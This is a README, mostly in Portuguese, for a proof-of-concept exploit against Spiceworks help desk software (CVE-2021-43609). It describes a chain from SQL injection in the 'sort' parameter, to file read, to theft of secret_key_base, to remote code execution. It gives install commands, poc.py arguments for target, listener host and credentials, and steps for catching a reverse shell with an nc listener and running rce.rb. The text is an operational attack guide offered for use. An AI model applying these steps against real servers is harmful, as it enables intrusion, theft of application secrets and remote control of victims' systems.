
Prova de conceito de exploit para CVE-2021-43609 demonstrando a cadeia de injeção SQL para leitura de arquivos até execução remota de código contra o software de help desk Spiceworks.
Há uma SQLi no parâmetro sort do Spiceworks. A cadeia completa de exploração é SQLi -> leitura de arquivo -> RCE.
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
Use o poc.py para explorar a SQLi -> leitura de arquivo e extrair a variável de ambiente secret_key_base. Em seguida, ele gerará um script ruby de PoC para obter um reverse shell, com os valores obtidos do poc.py.
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
Use o rce.rb. Inicie um listener nc no IP e na porta que você forneceu na Etapa 1 e então simplesmente:
cd rce && ruby rce.rb
Voila!